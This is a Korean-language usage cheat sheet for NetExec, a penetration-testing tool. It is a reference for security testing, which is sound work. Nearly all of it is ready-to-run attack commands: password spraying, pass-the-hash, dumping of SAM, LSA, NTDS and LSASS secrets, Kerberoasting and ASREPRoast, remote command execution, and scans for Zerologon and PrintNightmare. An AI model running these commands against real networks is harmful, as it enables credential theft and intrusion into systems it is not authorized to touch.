NetExec
강력한 네트워크 침투 테스트 도구 (CrackMapExec 후속)입니다.
설치
# pipx로 설치 (권장)
pipx install netexec
# pip로 설치
pip install netexec
# apt (Kali)
sudo apt install netexec
기본 사용법
netexec <PROTOCOL> <TARGET> -u <USER> -p <PASS>
지원 프로토콜
smb # SMB/CIFS
ldap # LDAP
winrm # WinRM
mssql # MSSQL
ssh # SSH
ftp # FTP
rdp # RDP
wmi # WMI
vnc # VNC
SMB 프로토콜
기본 인증
# 비밀번호 인증
netexec smb <RHOST> -u '<USERNAME>' -p '<PASSWORD>'
netexec smb <RHOST> -u 'admin' -p 'Password123'
# NTLM 해시
netexec smb <RHOST> -u '<USERNAME>' -H '<HASH>'
netexec smb <RHOST> -u 'admin' -H 'aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0'
# 로컬 인증
netexec smb <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --local-auth
Null Session
netexec smb <RHOST> -u '' -p ''
netexec smb <RHOST> -u ' ' -p ' '
Guest 계정
netexec smb <RHOST> -u 'Guest' -p ''
비밀번호 스프레이
# 단일 비밀번호
netexec smb <RHOST> -u users.txt -p 'Password123'
# 여러 비밀번호
netexec smb <RHOST> -u users.txt -p passwords.txt --no-bruteforce
# 계속 진행 (성공 후에도)
netexec smb <RHOST> -u users.txt -p passwords.txt --continue-on-success
공유 열거
# 공유 목록
netexec smb <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --shares
# 디렉토리 목록
netexec smb <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --shares --dir
# 특정 폴더
netexec smb <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --shares --dir "Documents"
파일 다운로드
# Spider로 파일 목록
netexec smb <RHOST> -u '<USERNAME>' -p '<PASSWORD>' -M spider_plus
# 파일 다운로드
netexec smb <RHOST> -u '<USERNAME>' -p '<PASSWORD>' -M spider_plus -o DOWNLOAD_FLAG=true
# 특정 파일
netexec smb <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --get-file \\path\\to\\file.txt ./file.txt
파일 업로드
netexec smb <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --put-file /local/file.txt \\remote\\path\\file.txt
사용자 열거
# 사용자 목록
netexec smb <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --users
# 그룹 목록
netexec smb <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --groups
# 로컬 그룹
netexec smb <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --local-group
# 로그온 사용자
netexec smb <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --loggedon-users
RID 브루트포스
netexec smb <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --rid-brute
netexec smb <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --rid-brute | grep 'SidTypeUser'
자격증명 덤프
# SAM
netexec smb <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --sam
# LSA
netexec smb <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --lsa
# NTDS (DC)
netexec smb <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --ntds
# DPAPI
netexec smb <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --dpapi
명령 실행
# 단순 명령
netexec smb <RHOST> -u '<USERNAME>' -p '<PASSWORD>' -x 'whoami'
netexec smb <RHOST> -u '<USERNAME>' -H '<HASH>' -x 'ipconfig'
# PowerShell
netexec smb <RHOST> -u '<USERNAME>' -p '<PASSWORD>' -X 'Get-Process'
모듈 사용
# 모듈 목록
netexec smb -L
# 특정 모듈
netexec smb <RHOST> -u '<USERNAME>' -p '<PASSWORD>' -M lsassy
netexec smb <RHOST> -u '<USERNAME>' -p '<PASSWORD>' -M nanodump
netexec smb <RHOST> -u '<USERNAME>' -p '<PASSWORD>' -M enum_av
LDAP 프로토콜
기본 인증
netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>'
netexec ldap <RHOST> -u '<USERNAME>' -H '<HASH>'
도메인 열거
# 사용자
netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --users
# 활성 사용자
netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --active-users
# 그룹
netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --groups
# Admin Count
netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --admin-count
BloodHound
netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --bloodhound -ns <RHOST> -c All
netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --bloodhound --dns-tcp --dns-server <RHOST> -c All
ASREPRoast
netexec ldap <RHOST> -u '<USERNAME>' -p '' --asreproast hashes.txt
netexec ldap <RHOST> -u users.txt -p '' --asreproast hashes.txt
Kerberoasting
netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --kerberoasting hashes.txt
GMSA 비밀번호
netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --gmsa
WinRM 프로토콜
# 인증
netexec winrm <RHOST> -u '<USERNAME>' -p '<PASSWORD>'
# 명령 실행
netexec winrm <RHOST> -u '<USERNAME>' -p '<PASSWORD>' -x 'whoami'
MSSQL 프로토콜
# 인증
netexec mssql <RHOST> -u '<USERNAME>' -p '<PASSWORD>'
# 쿼리 실행
netexec mssql <RHOST> -u '<USERNAME>' -p '<PASSWORD>' -q 'SELECT @@version'
# xp_cmdshell
netexec mssql <RHOST> -u '<USERNAME>' -p '<PASSWORD>' -x 'whoami'
SSH 프로토콜
netexec ssh <RHOST> -u '<USERNAME>' -p '<PASSWORD>'
netexec ssh <RHOST> -u '<USERNAME>' -p '<PASSWORD>' -x 'id'
Kerberos 인증
# 티켓 생성
netexec smb <RHOST> -u <USERNAME> -p <PASSWORD> --generate-tgt /tmp/ticket.ccache
export KRB5CCNAME=/tmp/ticket.ccache
# Kerberos 사용
netexec smb <RHOST> -u <USERNAME> -k --use-kcache
취약점 스캐닝
# MS17-010 (EternalBlue)
netexec smb <RHOST> -u '' -p '' -M ms17-010
# SMBGhost
netexec smb <RHOST> -u '' -p '' -M smbghost
# Zerologon
netexec smb <RHOST> -u '' -p '' -M zerologon
# PrintNightmare
netexec smb <RHOST> -u '' -p '' -M printnightmare
# noPAC
netexec smb <RHOST> -u '<USERNAME>' -p '<PASSWORD>' -M nopac
데이터베이스
# 자격증명 저장
netexec smb <RHOST> -u '<USERNAME>' -p '<PASSWORD>'
# 데이터베이스 위치
~/.nxc/workspaces/default/smb.db
# cmedb 사용
cmedb
유용한 옵션
-d <DOMAIN> # 도메인
-k # Kerberos
--local-auth # 로컬 인증
--no-bruteforce # 브루트포스 안함
--continue-on-success # 성공 후에도 계속
-M <MODULE> # 모듈 사용
-o <OPTIONS> # 모듈 옵션
--shares # 공유 열거
--sam # SAM 덤프
--lsa # LSA 덤프
--ntds # NTDS 덤프
-x <COMMAND> # CMD 명령
-X <COMMAND> # PowerShell 명령
참고
- CrackMapExec (CME)의 후속 버전
- 여러 프로토콜 지원
- 모듈로 확장 가능
- 데이터베이스에 결과 저장
- BloodHound 데이터 수집 가능
- Pass-the-Hash 지원
- Kerberos 인증 지원
- 대규모 네트워크 스캔에 적합